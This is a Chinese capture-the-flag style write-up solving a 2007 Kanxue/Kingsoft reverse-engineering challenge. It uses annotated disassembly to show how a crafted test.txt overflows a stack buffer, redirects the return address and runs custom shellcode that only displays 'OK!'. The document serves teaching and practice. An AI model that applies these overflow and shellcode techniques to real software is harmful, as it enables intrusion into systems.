【原创】第二阶段第一题分析(看雪金山2007逆向分析挑战赛) 

1.)      OD 载入, 点 Exploit 按钮, 到下面的处理代码

004002F6  /$  55            push    ebp
004002F7  |.  8BEC          mov     ebp, esp
004002F9  |.  83EC 10       sub     esp, 10
004002FC  |.  56            push    esi
004002FD  |.  57            push    edi
004002FE  |.  33FF          xor     edi, edi
00400300  |.  8D4D F0       lea     ecx, dword ptr [ebp-10]
00400303  |.  33F6          xor     esi, esi
00400305  |.  897D FC       mov     dword ptr [ebp-4], edi
00400308  |.  897D F8       mov     dword ptr [ebp-8], edi
0040030B  |.  E8 60010000   call    00400470
00400310  |.  68 6C024000   push    0040026C                         ;  ASCII "test.txt"
00400315  |.  8D4D F0       lea     ecx, dword ptr [ebp-10]
00400318  |.  E8 63010000   call    00400480                         ; 打开文件, 取得文件长度
0040031D  |.  85C0          test    eax, eax
0040031F  |.  74 64         je      short 00400385                   ; 不存在, 跳去显示 Fail!
00400321  |.  8D45 FC       lea     eax, dword ptr [ebp-4]
00400324  |.  8D4D F0       lea     ecx, dword ptr [ebp-10]
00400327  |.  50            push    eax
00400328  |.  E8 D3010000   call    00400500                         ; 取文件长度
0040032D  |.  85C0          test    eax, eax
0040032F  |.  74 54         je      short 00400385
00400331  |.  8B4D FC       mov     ecx, dword ptr [ebp-4]
00400334  |.  83F9 08       cmp     ecx, 8                           ; 长度要大于8
00400337  |.  7E 4C         jle     short 00400385
00400339  |.  B8 00100000   mov     eax, 1000                        ; 长度要小于0x1000
0040033E  |.  3BC8          cmp     ecx, eax
00400340  |.  7F 43         jg      short 00400385
00400342  |.  6A 40         push    40                               ; /Protect = PAGE_EXECUTE_READWRITE
00400344  |.  41            inc     ecx                              ; |
00400345  |.  50            push    eax                              ; |AllocationType => MEM_COMMIT
00400346  |.  51            push    ecx                              ; |Size
00400347  |.  57            push    edi                              ; |Address
00400348  |.  FF15 24024000 call    dword ptr [<&KERNEL32.VirtualAll>; \VirtualAlloc
0040034E  |.  8BF0          mov     esi, eax                         ; 设地址为XXXXXXXX
00400350  |.  3BF7          cmp     esi, edi
00400352  |.  74 31         je      short 00400385
00400354  |.  8D45 F8       lea     eax, dword ptr [ebp-8]
00400357  |.  53            push    ebx
00400358  |.  50            push    eax
00400359  |.  56            push    esi
0040035A  |.  FF75 FC       push    dword ptr [ebp-4]
0040035D  |.  8D4D F0       lea     ecx, dword ptr [ebp-10]
00400360  |.  E8 AB010000   call    00400510                         ; ReadFile(...) to XXXXXXXX
00400365  |.  8D4D F0       lea     ecx, dword ptr [ebp-10]
00400368  |.  8BD8          mov     ebx, eax
0040036A  |.  E8 61010000   call    004004D0                         ; CloseHandle(...)
0040036F  |.  3BDF          cmp     ebx, edi
00400371  |.  5B            pop     ebx
00400372  |.  74 11         je      short 00400385
00400374  |.  8B45 FC       mov     eax, dword ptr [ebp-4]
00400377  |.  3945 F8       cmp     dword ptr [ebp-8], eax
0040037A  |.  75 09         jnz     short 00400385
0040037C  |.  50            push    eax                              ; 地址XXXXXXXX入栈
0040037D  |.  56            push    esi                              ; 长度入栈
0040037E  |.  E8 FDFEFFFF   call    00400280                         ; 文件数据处理, F7!!!!
00400383  |.  59            pop     ecx                              ; 没有溢出返回这里
00400384  |.  59            pop     ecx
00400385  |>  57            push    edi                              ; /Style
00400386  |.  68 68024000   push    00400268                         ; |Title = "Try"
0040038B  |.  68 60024000   push    00400260                         ; |Text = "Failed!"
00400390  |.  57            push    edi                              ; |hOwner
00400391  |.  FF15 4C024000 call    dword ptr [<&USER32.MessageBoxA>>; \MessageBoxA
00400397  |.  8D4D F0       lea     ecx, dword ptr [ebp-10]          ; 显示MessageBoxA后从这里继续执行
0040039A  |.  E8 31010000   call    004004D0
0040039F  |.  3BF7          cmp     esi, edi
004003A1  |.  74 0D         je      short 004003B0
004003A3  |.  68 00800000   push    8000                             ; /FreeType = MEM_RELEASE
004003A8  |.  57            push    edi                              ; |Size
004003A9  |.  56            push    esi                              ; |Address
004003AA  |.  FF15 20024000 call    dword ptr [<&KERNEL32.VirtualFre>; \VirtualFree
004003B0  |>  8D4D F0       lea     ecx, dword ptr [ebp-10]
004003B3  |.  E8 38010000   call    004004F0
004003B8  |.  6A 01         push    1
004003BA  |.  58            pop     eax
004003BB  |.  5F            pop     edi
004003BC  |.  5E            pop     esi
004003BD  |.  C9            leave
004003BE  \.  C3            retn


2.)      文件数据处理:

00400280  /$  55            push    ebp
00400281  |.  8BEC          mov     ebp, esp
00400283  |.  83EC 2C       sub     esp, 2C                          ; 局部变量大小 只有 0x2C
00400286  |.  8065 D4 00    and     byte ptr [ebp-2C], 0
0040028A  |.  56            push    esi
0040028B  |.  57            push    edi
0040028C  |.  6A 0A         push    0A
0040028E  |.  59            pop     ecx
0040028F  |.  33C0          xor     eax, eax
00400291  |.  8D7D D5       lea     edi, dword ptr [ebp-2B]
00400294  |.  837D 0C 00    cmp     dword ptr [ebp+C], 0
00400298  |.  F3:AB         rep     stos dword ptr es:[edi]
0040029A  |.  66:AB         stos    word ptr es:[edi]
0040029C  |.  AA            stos    byte ptr es:[edi]
0040029D  |.  7C 51         jl      short 004002F0

0040029F  |.  8B75 08       mov     esi, dword ptr [ebp+8]
004002A2  |.  68 A802CC78   push    78CC02A8
004002A7  |.  68 1B8F9469   push    69948F1B
004002AC  |.  FF76 04       push    dword ptr [esi+4]                ; 文件的4,5,6,7 BYTE
004002AF  |.  FF36          push    dword ptr [esi]                  ; 文件的0,1,2,3 BYTE
004002B1  |.  E8 0A030000   call    004005C0                         ; U64 整数 的 乘法

// 即 HHHHHHHHLLLLLLLL = b7b6b5b4b3b2b1b0 * 0x78CC02A869948F1B

004002B6  |.  68 82FFE65B   push    5BE6FF82
004002BB  |.  68 854716A5   push    A5164785
004002C0  |.  52            push    edx
004002C1  |.  50            push    eax
004002C2  |.  E8 79020000   call    00400540                         ; U64 整数 的 取模

// 即 MMMMMMMMmmmmmmmm = HHHHHHHHLLLLLLLL % 0x5BE6FF82A5164785

004002C7  |.  6A 04         push    4
004002C9  |.  8BCE          mov     ecx, esi
004002CB  |.  5F            pop     edi
004002CC  |>  8031 1C       /xor     byte ptr [ecx], 1C              ; 前 8 Byte 变换
004002CF  |.  8A11          |mov     dl, byte ptr [ecx]
004002D1  |.  3051 01       |xor     byte ptr [ecx+1], dl
004002D4  |.  41            |inc     ecx
004002D5  |.  41            |inc     ecx
004002D6  |.  4F            |dec     edi
004002D7  |.^ 75 F3         \jnz     short 004002CC

// 相当于如下C代码
for (i=0;i<8;i+=2) 
{
    buffer[i]   ^= 0x1C;
    buffer[i+1] ^= buffer[i];
}


004002D9  |.  6A 1A         push    1A
004002DB  |.  59            pop     ecx                              ; ECX = 1A
004002DC  |.  2BC8          sub     ecx, eax                         ; EAX 为整数取模后的低 32bit
004002DE  |.  0FAFC8        imul    ecx, eax
004002E1  |.  81E9 9C000000 sub     ecx, 9C

// 即 ECX = (0x0000001A - mmmmmmmm) * mmmmmmmm - 0x0000009C

004002E7  |.  85C9          test    ecx, ecx                         ; 得到一值ECX
004002E9  |.  7E 05         jle     short 004002F0
004002EB  |.  8D7D D4       lea     edi, dword ptr [ebp-2C]
004002EE  |.  F3:A5         rep     movs dword ptr es:[edi], dword ptr [esi]   ; 溢出点, ECX>=0D 时, 返回地址会被覆盖
004002F0  |>  5F            pop     edi
004002F1  |.  33C0          xor     eax, eax
004002F3  |.  5E            pop     esi
004002F4  |.  C9            leave
004002F5  \.  C3            retn                                     ; 正常返回0x00400383, 溢出返回其它地址


3.)       在004002EE时的堆栈如下:

0012FC50   00000000   // saved_old_edi
0012FC54   008E0000   // saved_old_esi
0012FC58   00000000   // 局部变量,   从XXXXXXXX COPY ECX 个 DWORD 到这
0012FC5C   00000000   // 局部变量
0012FC60   00000000   // 局部变量
0012FC64   00000000   // 局部变量
0012FC68   00000000   // 局部变量
0012FC6C   00000000   // 局部变量
0012FC70   00000000   // 局部变量
0012FC74   00000000   // 局部变量
0012FC78   00000000   // 局部变量
0012FC7C   00000000   // 局部变量
0012FC80   00000000   // 局部变量
0012FC84  /0012FCAC   // saved_old_ebp
0012FC88  |00400383   // 返回地址
0012FC8C  |008E0000   // parameter1, 即动态分配的地址XXXXXXXX
0012FC90  |00000033   // parameter2, 文件长度
0012FC94  |00000111   // 调用程序的栈


4.)  要溢出成功, 可把返回地址覆盖成004002F5, 这样, 就会返回004002F5, 再执行004002F5的retn 就回到动态分配的地址XXXXXXXX执行

先解如下方程:

ECX = (0x0000001A - mmmmmmmm) * mmmmmmmm - 0x0000009C
0x0000000D <= ECX <= 0x0000000F

用如下C程序计算:

unsigned int i, c;
for(i=0;i!=0xffffffff;i++) {
    c = (0x1A - i) * i - 0x9C;
    if (c>=0x0D && C<= 0x0F) {
        printf("mmmmmmmm=%08X ECX=%08X\n", i, c);
    }
}

结果ECX=0000000D, mmmmmmmm=????000D
即mmmmmmmm 高16bit可任意, 低16bit为000D, 结果总是0000000D


5.)  再解如下方程:

  HHHHHHHHLLLLLLLL = b7b6b5b4b3b2b1b0 * 0x78CC02A869948F1B           // (a)
 
  HHHHHHHHLLLLLLLL % 0x5BE6FF82A5164785 = MMMMMMMM????000D           // (b)

  当 HHHHHHHHHLLLLLLLL 

   为 从 0x0000000000000000 到 0x5BE6FF82A5164784 时, 模 = HHHHHHHHLLLLLLLL, 即 LLLLLLLL = ????000D

   为 从 0x5BE6FF82A5164785 到 0xB7CDFF054A2C8F09 时, 模 = HHHHHHHHLLLLLLLL - 0x5BE6FF82A5164785, 即 LLLLLLLL = ????4792

   为 从 0xB7CDFF054A2C8F0A 到 0xFFFFFFFFFFFFFFFF 时, 模 = HHHHHHHHLLLLLLLL - 0xB7CDFF054A2C8F0A, 即 LLLLLLLL = ????8F17


  结果: LLLLLLLL的低16bit 只能是 0x000D, 0x4792, 或 0x8F17

  用如下C程序计算解方程(a):

unsigned int i, l;
for(i=0;i!=0xffffffff;i++) {
    l = (i * 0x69948F1B) & 0xFFFF;
    if (l==0x0D || l==0x4792 || l== 0x8F17) {
        printf("b3b2b1b0=%08X,LLLLLLLL=%08X\n", i, l);
    }
}

结果:

  b3b2b1b0=????97F7,LLLLLLLL=????000D
  b3b2b1b0=????65D6,LLLLLLLL=????4792
  b3b2b1b0=????33B5,LLLLLLLL=????8F17

即b0, b1 只能是如下三组中的数据之一: {F7, 97}, {D6, 65}, {B5, 33},


5.) 将三组数据进行如下变换:

004002CC  |> /8031 1C       /xor     byte ptr [ecx], 1C
004002CF  |. |8A11          |mov     dl, byte ptr [ecx]
004002D1  |. |3051 01       |xor     byte ptr [ecx+1], dl
004002D4  |. |41            |inc     ecx
004002D5  |. |41            |inc     ecx
004002D6  |. |4F            |dec     edi
004002D7  |.^\75 F3         \jnz     short 004002CC

再用OD看反汇编结果, 如下:

// F7, 97 ==> EB, 7C   // JMP short $+80
// D6, 65 ==> CA, AF   // retf xxxxxxxx
// B5, 33 ==> A9, 9A   // test eax, xxxxxxxx

EB, 7C 将使file长度至少为128 byte, 现在只讨论决定A9, 9A, 使文件最小

6.) 设变换后的代码为

008E0000    A9 9Axxyyzz    test eax, zzyyxx9A
008E0005    90             nop
008E0006    EB 04          jmp  short $+06

先将zz定为90, 这样由变换规则可确定d0-d7如下:
{B5, 33, ??, ??, 8C, 00, F7, EF}

只有16bit未知, 编一小程序, 循环65536次, 使 等式(a), (b) 成立, 有一组解就行


7.) 然后就是写代码, 显示 OK!, 返回, 还能正确执行, 代码如下:

008E0000    A9 9A4C4C90     test    eax, 904C4C9A
008E0005    90              nop
008E0006    EB 04           jmp     short 008E000C
008E0008    4F 4B 21 00                              ; "OK!"
008E000C    E8 00000000     call    008E0011
008E0011    5D              pop     ebp
008E0012    8BC5            mov     eax, ebp
008E0014    83E8 09         sub     eax, 9
008E0017    6A 00           push    0
008E0019    50              push    eax
008E001A    50              push    eax
008E001B    6A 00           push    0
008E001D    FF15 4C024000   call    dword ptr [<&USER32.MessageBoxA>]                 ; USER32.MessageBoxA
008E0023    8BEC            mov     ebp, esp
008E0025    C745 00 9703400>mov     dword ptr [ebp], 400397
008E002C    83C5 1C         add     ebp, 1C
008E002F    C3              retn
008E0030    F5 02 40 00                             ; DWORD 004002F5